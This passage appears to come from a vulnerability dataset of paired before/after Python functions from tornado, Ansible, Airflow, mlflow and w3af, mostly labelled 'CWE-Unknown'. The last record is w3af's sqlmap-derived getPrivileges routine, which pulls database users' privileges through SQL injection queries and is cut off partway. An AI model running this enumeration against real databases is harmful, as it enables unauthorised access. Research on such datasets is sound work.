        if self._close_callback is not None:
            cb = self._close_callback
            self._close_callback = None
            self.io_loop.add_callback(cb)
        # Clear the buffers so they can be cleared immediately even
        # if the IOStream object is kept alive by a reference cycle.
        # TODO: Clear the read buffer too; it currently breaks some tests.
        self._write_buffer = None",CWE-Unknown,tornadoweb/tornado,449f2aeafa62242d80cf499087d96e33077df022,"def _signal_closed(self) -> None:
        futures = []  # type: List[Future]
        if self._read_future is not None:
            futures.append(self._read_future)
            self._read_future = None
        futures += [future for _, future in self._write_futures]
        self._write_futures.clear()
        if self._connect_future is not None:
            futures.append(self._connect_future)
            self._connect_future = None
        for future in futures:
            future.set_exception(StreamClosedError(real_error=self.error))
            future.exception()
        if self._ssl_connect_future is not None:
            # _ssl_connect_future expects to see the real exception (typically
            # an ssl.SSLError), not just StreamClosedError.
            if self.error is not None:
                self._ssl_connect_future.set_exception(self.error)
            else:
                self._ssl_connect_future.set_exception(StreamClosedError())
            self._ssl_connect_future.exception()
            self._ssl_connect_future = None
        if self._close_callback is not None:
            cb = self._close_callback
            self._close_callback = None
            self.io_loop.add_callback(cb)
        # Clear the buffers so they can be cleared immediately even
        # if the IOStream object is kept alive by a reference cycle.
        # TODO: Clear the read buffer too; it currently breaks some tests.
        self._write_buffer = None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/script.py,0,"def run(self, tmp=None, task_vars=None):
        ''' handler for file transfer operations '''

        if self._play_context.check_mode:
            return dict(skipped=True, msg='check mode not supported for this module')

        if not tmp:
            tmp = self._make_tmp_path()

        creates = self._task.args.get('creates')
        if creates:
            # do not run the command if the line contains creates=filename
            # and the filename already exists. This allows idempotence
            # of command executions.
            result = self._execute_module(module_name='stat', module_args=dict(path=creates), task_vars=task_vars, tmp=tmp, persist_files=True)
            stat = result.get('stat', None)
            if stat and stat.get('exists', False):
                return dict(skipped=True, msg=(""skipped, since %s exists"" % creates))

        removes = self._task.args.get('removes')
        if removes:
            # do not run the command if the line contains removes=filename
            # and the filename does not exist. This allows idempotence
            # of command executions.
            result = self._execute_module(module_name='stat', module_args=dict(path=removes), task_vars=task_vars, tmp=tmp, persist_files=True)
            stat = result.get('stat', None)
            if stat and not stat.get('exists', False):
                return dict(skipped=True, msg=(""skipped, since %s does not exist"" % removes))

        # the script name is the first item in the raw params, so we split it
        # out now so we know the file name we need to transfer to the remote,
        # and everything else is an argument to the script which we need later
        # to append to the remote command
        parts  = self._task.args.get('_raw_params', '').strip().split()
        source = parts[0]
        args   = ' '.join(parts[1:])

        if self._task._role is not None:
            source = self._loader.path_dwim_relative(self._task._role._role_path, 'files', source)
        else:
            source = self._loader.path_dwim(source)

        # transfer the file to a remote tmp location
        tmp_src = self._connection._shell.join_path(tmp, os.path.basename(source))
        self._connection.put_file(source, tmp_src)

        sudoable = True
        # set file permissions, more permissive when the copy is done as a different user
        if self._play_context.become and self._play_context.become_user != 'root':
            chmod_mode = 'a+rx'
            sudoable = False
        else:
            chmod_mode = '+rx'
        self._remote_chmod(tmp, chmod_mode, tmp_src, sudoable=sudoable)

        # add preparation steps to one ssh roundtrip executing the script
        env_string = self._compute_environment_string()
        script_cmd = ' '.join([env_string, tmp_src, args])

        result = self._low_level_execute_command(cmd=script_cmd, tmp=None, sudoable=True)

        # clean up after
        if tmp and ""tmp"" in tmp and not C.DEFAULT_KEEP_REMOTE_FILES:
            self._remove_tmp_path(tmp)

        result['changed'] = True

        return result",,ansible/ansible,c08305a31ffb3ee83146545ebab3909598b8b712,"def run(self, tmp=None, task_vars=None):
        ''' handler for file transfer operations '''

        if self._play_context.check_mode:
            return dict(skipped=True, msg='check mode not supported for this module')

        if not tmp:
            tmp = self._make_tmp_path()

        creates = self._task.args.get('creates')
        if creates:
            # do not run the command if the line contains creates=filename
            # and the filename already exists. This allows idempotence
            # of command executions.
            result = self._execute_module(module_name='stat', module_args=dict(path=creates), task_vars=task_vars, tmp=tmp, persist_files=True)
            stat = result.get('stat', None)
            if stat and stat.get('exists', False):
                return dict(skipped=True, msg=(""skipped, since %s exists"" % creates))

        removes = self._task.args.get('removes')
        if removes:
            # do not run the command if the line contains removes=filename
            # and the filename does not exist. This allows idempotence
            # of command executions.
            result = self._execute_module(module_name='stat', module_args=dict(path=removes), task_vars=task_vars, tmp=tmp, persist_files=True)
            stat = result.get('stat', None)
            if stat and not stat.get('exists', False):
                return dict(skipped=True, msg=(""skipped, since %s does not exist"" % removes))

        # the script name is the first item in the raw params, so we split it
        # out now so we know the file name we need to transfer to the remote,
        # and everything else is an argument to the script which we need later
        # to append to the remote command
        parts  = self._task.args.get('_raw_params', '').strip().split()
        source = parts[0]
        args   = ' '.join(parts[1:])

        if self._task._role is not None:
            source = self._loader.path_dwim_relative(self._task._role._role_path, 'files', source)
        else:
            source = self._loader.path_dwim(source)

        # transfer the file to a remote tmp location
        tmp_src = self._connection._shell.join_path(tmp, os.path.basename(source))
        self._connection.put_file(source, tmp_src)

        sudoable = True
        # set file permissions, more permissive when the copy is done as a different user
        if self._play_context.become and self._play_context.become_user != 'root':
            chmod_mode = 'a+rx'
            sudoable = False
        else:
            chmod_mode = '+rx'
        self._remote_chmod(tmp, chmod_mode, tmp_src, sudoable=sudoable)

        # add preparation steps to one ssh roundtrip executing the script
        env_string = self._compute_environment_string()
        script_cmd = ' '.join([env_string, tmp_src, args])
        
        result = self._low_level_execute_command(cmd=script_cmd, tmp=None, sudoable=sudoable)

        # clean up after
        if tmp and ""tmp"" in tmp and not C.DEFAULT_KEEP_REMOTE_FILES:
            self._remove_tmp_path(tmp)

        result['changed'] = True

        return result"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/remote_commands/task_command.py,0,"def _run_task_by_executor(args, dag: DAG, ti: TaskInstance) -> None:
    """"""
    Send the task to the executor for execution.

    This can result in the task being started by another host if the executor implementation does.
    """"""
    from airflow.executors.base_executor import BaseExecutor

    if ti.executor:
        executor = ExecutorLoader.load_executor(ti.executor)
    else:
        executor = ExecutorLoader.get_default_executor()
    executor.job_id = None
    executor.start()
    print(""Sending to executor."")

    # TODO: Task-SDK: this is temporary while we migrate the other executors over
    if executor.queue_workload.__func__ is not BaseExecutor.queue_workload:  # type: ignore[attr-defined]
        from airflow.executors import workloads

        workload = workloads.ExecuteTask.make(ti, dag_path=dag.relative_fileloc)
        with create_session() as session:
            executor.queue_workload(workload, session)
    else:
        executor.queue_task_instance(
            ti,
            mark_success=args.mark_success,
            ignore_all_deps=args.ignore_all_dependencies,
            ignore_depends_on_past=should_ignore_depends_on_past(args),
            wait_for_past_depends_before_skipping=(args.depends_on_past == ""wait""),
            ignore_task_deps=args.ignore_dependencies,
            ignore_ti_state=args.force,
            pool=args.pool,
        )
        executor.heartbeat()
    executor.end()",CWE-Unknown,apache/airflow,03993819690fe8b98cdd8a6540bc6a107cdb9a63,"def _run_task_by_executor(args, dag: DAG, ti: TaskInstance) -> None:
    """"""
    Send the task to the executor for execution.

    This can result in the task being started by another host if the executor implementation does.
    """"""
    from airflow.executors.base_executor import BaseExecutor

    if ti.executor:
        executor = ExecutorLoader.load_executor(ti.executor)
    else:
        executor = ExecutorLoader.get_default_executor()
    executor.job_id = None
    executor.start()
    print(""Sending to executor."")

    # TODO: Task-SDK: this is temporary while we migrate the other executors over
    if executor.queue_workload.__func__ is not BaseExecutor.queue_workload:  # type: ignore[attr-defined]
        from airflow.executors import workloads

        workload = workloads.ExecuteTask.make(ti, dag_path=dag.relative_fileloc)
        executor.queue_workload(workload)
    else:
        executor.queue_task_instance(
            ti,
            mark_success=args.mark_success,
            ignore_all_deps=args.ignore_all_dependencies,
            ignore_depends_on_past=should_ignore_depends_on_past(args),
            wait_for_past_depends_before_skipping=(args.depends_on_past == ""wait""),
            ignore_task_deps=args.ignore_dependencies,
            ignore_ti_state=args.force,
            pool=args.pool,
        )
        executor.heartbeat()
    executor.end()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/entities/paged_list.py,0,"def __init__(self, items: List[T], token):
        super().__init__(items)
        self.token = token",,mlflow/mlflow,0247a7d9ea40adc1fd7b36c22878f1b92662b01b,"def __init__(self, items: List[T], token):
        super().__init__(items)
        self.token = token"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/http1connection.py,0,"def write_headers(self, start_line, headers, chunk=None, callback=None):
        """"""Implements `.HTTPConnection.write_headers`.""""""
        lines = []
        if self.is_client:
            self._request_start_line = start_line
            lines.append(utf8('%s %s HTTP/1.1' % (start_line[0], start_line[1])))
            # Client requests with a non-empty body must have either a
            # Content-Length or a Transfer-Encoding.
            self._chunking_output = (
                start_line.method in ('POST', 'PUT', 'PATCH') and
                'Content-Length' not in headers and
                'Transfer-Encoding' not in headers)
        else:
            self._response_start_line = start_line
            lines.append(utf8('HTTP/1.1 %d %s' % (start_line[1], start_line[2])))
            self._chunking_output = (
                # TODO: should this use
                # self._request_start_line.version or
                # start_line.version?
                self._request_start_line.version == 'HTTP/1.1' and
                # 304 responses have no body (not even a zero-length body), and so
                # should not have either Content-Length or Transfer-Encoding.
                # headers.
                start_line.code != 304 and
                # No need to chunk the output if a Content-Length is specified.
                'Content-Length' not in headers and
                # Applications are discouraged from touching Transfer-Encoding,
                # but if they do, leave it alone.
                'Transfer-Encoding' not in headers)
            # If a 1.0 client asked for keep-alive, add the header.
            if (self._request_start_line.version == 'HTTP/1.0' and
                (self._request_headers.get('Connection', '').lower() ==
                 'keep-alive')):
                headers['Connection'] = 'Keep-Alive'
        if self._chunking_output:
            headers['Transfer-Encoding'] = 'chunked'
        if (not self.is_client and
            (self._request_start_line.method == 'HEAD' or
             start_line.code == 304)):
            self._expected_content_remaining = 0
        elif 'Content-Length' in headers:
            self._expected_content_remaining = int(headers['Content-Length'])
        else:
            self._expected_content_remaining = None
        lines.extend([utf8(n) + b"": "" + utf8(v) for n, v in headers.get_all()])
        for line in lines:
            if b'\n' in line:
                raise ValueError('Newline in header: ' + repr(line))
        future = None
        if self.stream.closed():
            future = self._write_future = Future()
            future.set_exception(iostream.StreamClosedError())
            future.exception()
        else:
            if callback is not None:
                self._write_callback = stack_context.wrap(callback)
            else:
                future = self._write_future = Future()
            data = b""\r\n"".join(lines) + b""\r\n\r\n""
            if chunk:
                data += self._format_chunk(chunk)
            self._pending_write = self.stream.write(data)
            self._pending_write.add_done_callback(self._on_write_complete)
        return future",CWE-Unknown,tornadoweb/tornado,9f723211348f14a650f87c9c991260b387b18cb0,"def write_headers(self, start_line, headers, chunk=None, callback=None):
        """"""Implements `.HTTPConnection.write_headers`.""""""
        lines = []
        if self.is_client:
            self._request_start_line = start_line
            lines.append(utf8('%s %s HTTP/1.1' % (start_line[0], start_line[1])))
            # Client requests with a non-empty body must have either a
            # Content-Length or a Transfer-Encoding.
            self._chunking_output = (
                start_line.method in ('POST', 'PUT', 'PATCH') and
                'Content-Length' not in headers and
                'Transfer-Encoding' not in headers)
        else:
            self._response_start_line = start_line
            lines.append(utf8('HTTP/1.1 %d %s' % (start_line[1], start_line[2])))
            self._chunking_output = (
                # TODO: should this use
                # self._request_start_line.version or
                # start_line.version?
                self._request_start_line.version == 'HTTP/1.1' and
                # 304 responses have no body (not even a zero-length body), and so
                # should not have either Content-Length or Transfer-Encoding.
                # headers.
                start_line.code != 304 and
                # No need to chunk the output if a Content-Length is specified.
                'Content-Length' not in headers and
                # Applications are discouraged from touching Transfer-Encoding,
                # but if they do, leave it alone.
                'Transfer-Encoding' not in headers)
            # If a 1.0 client asked for keep-alive, add the header.
            if (self._request_start_line.version == 'HTTP/1.0' and
                (self._request_headers.get('Connection', '').lower()
                 == 'keep-alive')):
                headers['Connection'] = 'Keep-Alive'
        if self._chunking_output:
            headers['Transfer-Encoding'] = 'chunked'
        if (not self.is_client and
            (self._request_start_line.method == 'HEAD' or
             start_line.code == 304)):
            self._expected_content_remaining = 0
        elif 'Content-Length' in headers:
            self._expected_content_remaining = int(headers['Content-Length'])
        else:
            self._expected_content_remaining = None
        lines.extend([utf8(n) + b"": "" + utf8(v) for n, v in headers.get_all()])
        for line in lines:
            if b'\n' in line:
                raise ValueError('Newline in header: ' + repr(line))
        future = None
        if self.stream.closed():
            future = self._write_future = Future()
            future.set_exception(iostream.StreamClosedError())
            future.exception()
        else:
            if callback is not None:
                self._write_callback = stack_context.wrap(callback)
            else:
                future = self._write_future = Future()
            data = b""\r\n"".join(lines) + b""\r\n\r\n""
            if chunk:
                data += self._format_chunk(chunk)
            self._pending_write = self.stream.write(data)
            self._pending_write.add_done_callback(self._on_write_complete)
        return future"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/slack/operators/slack.py,0,"def __init__(
        self,
        channel: str = '#general',
        initial_comment: str = 'No message has been set!',
        filename: Optional[str] = None,
        filetype: Optional[str] = None,
        content: Optional[str] = None,
        **kwargs,
    ) -> None:
        self.method = 'files.upload'
        self.channel = channel
        self.initial_comment = initial_comment
        self.filename = filename
        self.filetype = filetype
        self.content = content
        self.file_params: Dict = {}
        super().__init__(method=self.method, **kwargs)",CWE-Unknown,apache/airflow,dad2f8103be954afaedf15e9d098ee417b0d5d02,"def __init__(
        self,
        channel: str = '#general',
        initial_comment: str = 'No message has been set!',
        filename: str = None,
        filetype: str = None,
        content: str = None,
        **kwargs,
    ) -> None:
        self.method = 'files.upload'
        self.channel = channel
        self.initial_comment = initial_comment
        self.filename = filename
        self.filetype = filetype
        self.content = content
        self.file_params = {}
        super().__init__(method=self.method, **kwargs)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/operators/python.py,0,"def __init__(
        self,
        *,
        python_callable: Callable,
        requirements: None | Iterable[str] | str = None,
        python_version: str | None = None,
        use_dill: bool = False,
        system_site_packages: bool = True,
        pip_install_options: list[str] | None = None,
        op_args: Collection[Any] | None = None,
        op_kwargs: Mapping[str, Any] | None = None,
        string_args: Iterable[str] | None = None,
        templates_dict: dict | None = None,
        templates_exts: list[str] | None = None,
        expect_airflow: bool = True,
        skip_on_exit_code: int | Container[int] | None = None,
        **kwargs,
    ):
        if (
            python_version
            and str(python_version)[0] != str(sys.version_info.major)
            and (op_args or op_kwargs)
        ):
            raise AirflowException(
                ""Passing op_args or op_kwargs is not supported across different Python ""
                ""major versions for PythonVirtualenvOperator. Please use string_args.""
                f""Sys version: {sys.version_info}. Venv version: {python_version}""
            )
        if python_version is not None and not isinstance(python_version, str):
            warnings.warn(
                ""Passing non-string types (e.g. int or float) as python_version ""
                ""is deprecated. Please use string value instead."",
                RemovedInAirflow3Warning,
                stacklevel=2,
            )
        if not is_venv_installed():
            raise AirflowException(""PythonVirtualenvOperator requires virtualenv, please install it."")
        if not requirements:
            self.requirements: list[str] | str = []
        elif isinstance(requirements, str):
            self.requirements = requirements
        else:
            self.requirements = list(requirements)
        self.python_version = python_version
        self.system_site_packages = system_site_packages
        self.pip_install_options = pip_install_options
        super().__init__(
            python_callable=python_callable,
            use_dill=use_dill,
            op_args=op_args,
            op_kwargs=op_kwargs,
            string_args=string_args,
            templates_dict=templates_dict,
            templates_exts=templates_exts,
            expect_airflow=expect_airflow,
            skip_on_exit_code=skip_on_exit_code,
            **kwargs,
        )",CWE-Unknown,apache/airflow,2324041b324932cf0661679b59d9480c60cd2577,"def __init__(
        self,
        *,
        python_callable: Callable,
        requirements: None | Iterable[str] | str = None,
        python_version: str | int | float | None = None,
        use_dill: bool = False,
        system_site_packages: bool = True,
        pip_install_options: list[str] | None = None,
        op_args: Collection[Any] | None = None,
        op_kwargs: Mapping[str, Any] | None = None,
        string_args: Iterable[str] | None = None,
        templates_dict: dict | None = None,
        templates_exts: list[str] | None = None,
        expect_airflow: bool = True,
        skip_on_exit_code: int | Container[int] | None = None,
        **kwargs,
    ):
        if (
            python_version
            and str(python_version)[0] != str(sys.version_info.major)
            and (op_args or op_kwargs)
        ):
            raise AirflowException(
                ""Passing op_args or op_kwargs is not supported across different Python ""
                ""major versions for PythonVirtualenvOperator. Please use string_args.""
                f""Sys version: {sys.version_info}. Venv version: {python_version}""
            )
        if not is_venv_installed():
            raise AirflowException(""PythonVirtualenvOperator requires virtualenv, please install it."")
        if not requirements:
            self.requirements: list[str] | str = []
        elif isinstance(requirements, str):
            self.requirements = requirements
        else:
            self.requirements = list(requirements)
        self.python_version = python_version
        self.system_site_packages = system_site_packages
        self.pip_install_options = pip_install_options
        super().__init__(
            python_callable=python_callable,
            use_dill=use_dill,
            op_args=op_args,
            op_kwargs=op_kwargs,
            string_args=string_args,
            templates_dict=templates_dict,
            templates_exts=templates_exts,
            expect_airflow=expect_airflow,
            skip_on_exit_code=skip_on_exit_code,
            **kwargs,
        )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/users.py,0,"def getPrivileges(self, query2=False):
        infoMsg = ""fetching database users privileges""

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == ""CU"":
            infoMsg += "" for current user""
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split("","")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += "" WHERE ""

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += "" OR "".join(""%s LIKE '%%%s%%'"" % (condition, user) for user in sorted(users))
                else:
                    query += "" OR "".join(""%s = '%s'"" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = ""trying with table USER_SYS_PRIVS""
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == ""Y"":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split("","")
                                privilege = privs[0]
                                privs = privs[1]
                                privs = list(privs.strip())
                                i = 1

                                for priv in privs:
                                    if priv.upper() in (""Y"", ""G""):
                                        for position, db2Priv in DB2_PRIVS.items():
                                            if position == i:
                                                privilege += "", "" + db2Priv

                                    i += 1

                                privileges.add(privilege)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = "" LIKE ""
            else:
                conditionChar = ""=""

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = ""%%%s%%"" % user

                infoMsg = ""fetching number of privileges ""
                infoMsg += ""for user '%s'"" % outuser
                logger.info(infoMsg)

                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2 % user
                elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query = rootQuery.blind.count % (conditionChar, user)
                elif Backend.isDbms(DBMS.ORACLE) and query2:
                    query = rootQuery.blind.count2 % user
                else:
                    query = rootQuery.blind.count % user

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if Backend.isDbms(DBMS.ORACLE) and not query2:
                        infoMsg = ""trying with table USER_SYS_PRIVS""
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = ""unable to retrieve the number of ""
                    warnMsg += ""privileges for user '%s'"" % outuser
                    logger.warn(warnMsg)
                    continue

                infoMsg = ""fetching privileges for user '%s'"" % outuser
                logger.info(infoMsg)

                privileges = set()

                plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                indexRange = getLimitRange(count, plusOne=plusOne)

                for index in indexRange:
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                        query = rootQuery.blind.query % (conditionChar, user, index)
                    elif Backend.isDbms(DBMS.ORACLE) and query2:
                        query = rootQuery.blind.query2 % (user, index)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (index, user)
                    else:
                        query = rootQuery.blind.query % (user, index)
                    privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if Backend.isDbms(DBMS.PGSQL) and "", "" in privilege:
                        privilege = privilege.replace("", "", "","")
                        privs = privilege.split("","")
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in PGSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        privilege = privilege.replace("", "", "","")
                        privs = privilege.split("","")
                        i = 1

                        for priv in privs:
                            if priv.upper() == ""Y"":
                                for position, mysqlPriv in MYSQL_PRIVS.items():
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    # In Firebird we get one letter for each privilege
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        privileges.add(FIREBIRD_PRIVS[privilege.strip()])

                    # In DB2 we get Y or G if the privilege is
                    # True, N otherwise
                    elif Backend.isDbms(DBMS.DB2):
                        privs = privilege.split("","")
                        privilege = privs[0]
                        privs = privs[1]
                        privs = list(privs.strip())
                        i = 1

                        for priv in privs:
                            if priv.upper() in (""Y"", ""G""):
                                for position, db2Priv in DB2_PRIVS.items():
                                    if position == i:
                                        privilege += "", "" + db2Priv

                            i += 1

                        privileges.add(privilege)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                        break

                if privileges:
                    kb.data.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg = ""unable to retrieve the privileges ""
                    warnMsg += ""for user '%s'"" % outuser
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not kb.data.cachedUsersPrivileges:
            errMsg = ""unable to retrieve the privileges ""
            errMsg += ""for the database users""
            raise SqlmapNoneDataException(errMsg)

        for user, privileges in kb.data.cachedUsersPrivileges.items():
            if isAdminFromPrivileges(privileges):
                areAdmins.add(user)

        return (kb.data.cachedUsersPrivileges, areAdmins)",,andresriancho/w3af,146d9fedf0de54b032b97b55ee7d4af8800e1d8e,"def getPrivileges(self, query2=False):
        infoMsg = ""fetching database users privileges""

        rootQuery = queries[Backend.getIdentifiedDbms()].privileges

        if conf.user == ""CU"":
            infoMsg += "" for current user""
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split("","")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            elif Backend.isDbms(DBMS.ORACLE) and query2:
                query = rootQuery.inband.query2
                condition = rootQuery.inband.condition2
            else:
                query = rootQuery.inband.query
                condition = rootQuery.inband.condition

            if conf.user:
                query += "" WHERE ""

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query += "" OR "".join(""%s LIKE '%%%s%%'"" % (condition, user) for user in sorted(users))
                else:
                    query += "" OR "".join(""%s = '%s'"" % (condition, user) for user in sorted(users))

            values = inject.getValue(query, blind=False, time=False)

            if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                infoMsg = ""trying with table USER_SYS_PRIVS""
                logger.info(infoMsg)

                return self.getPrivileges(query2=True)

            if not isNoneValue(values):
                for value in values:
                    user = None
                    privileges = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                if int(privilege) == 1:
                                    privileges.add(PGSQL_PRIVS[count])

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                if privilege.upper() == ""Y"":
                                    privileges.add(MYSQL_PRIVS[count])

                            # In DB2 we get Y or G if the privilege is
                            # True, N otherwise
                            elif Backend.isDbms(DBMS.DB2):
                                privs = privilege.split("","")
                                privilege = privs[0]
                                privs = privs[1]
                                privs = list(privs.strip())
                                i = 1

                                for priv in privs:
                                    if priv.upper() in (""Y"", ""G""):
                                        for position, db2Priv in DB2_PRIVS.items():
                                            if position == i:
                                                privilege += "", "" + db2Priv

                                    i += 1

                                privileges.add(privilege)

                    if isAdminFromPrivileges(privileges):
                        areAdmins.add(user)

                    if user in kb.data.cachedUsersPrivileges:
                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
                    else:
                        kb.data.cachedUsersPrivileges[user] = list(privileges)

        if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
            if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                conditionChar = "" LIKE ""
            else:
                conditionChar = ""=""

            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            retrievedUsers = set()

            for user in users:
                outuser = user
                if user in retrievedUsers:
                    continue

                if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    user = ""%%%s%%"" % user

                infoMsg = ""fetching number of privileges ""
                infoMsg += ""for user '%s'"" % outuser
                logger.info(infoMsg)

                if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                    query = rootQuery.blind.count2 % user
                elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
                    query = rootQuery.blind.count % (conditionChar, user)
                elif Backend.isDbms(DBMS.ORACLE) and query2:
                    query = rootQuery.blind.count2 % user
                else:
                    query = rootQuery.blind.count % user

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    if Backend.isDbms(DBMS.ORACLE) and not query2:
                        infoMsg = ""trying with table USER_SYS_PRIVS""
                        logger.info(infoMsg)

                        return self.getPrivileges(query2=True)

                    warnMsg = ""unable to retrieve the number of ""
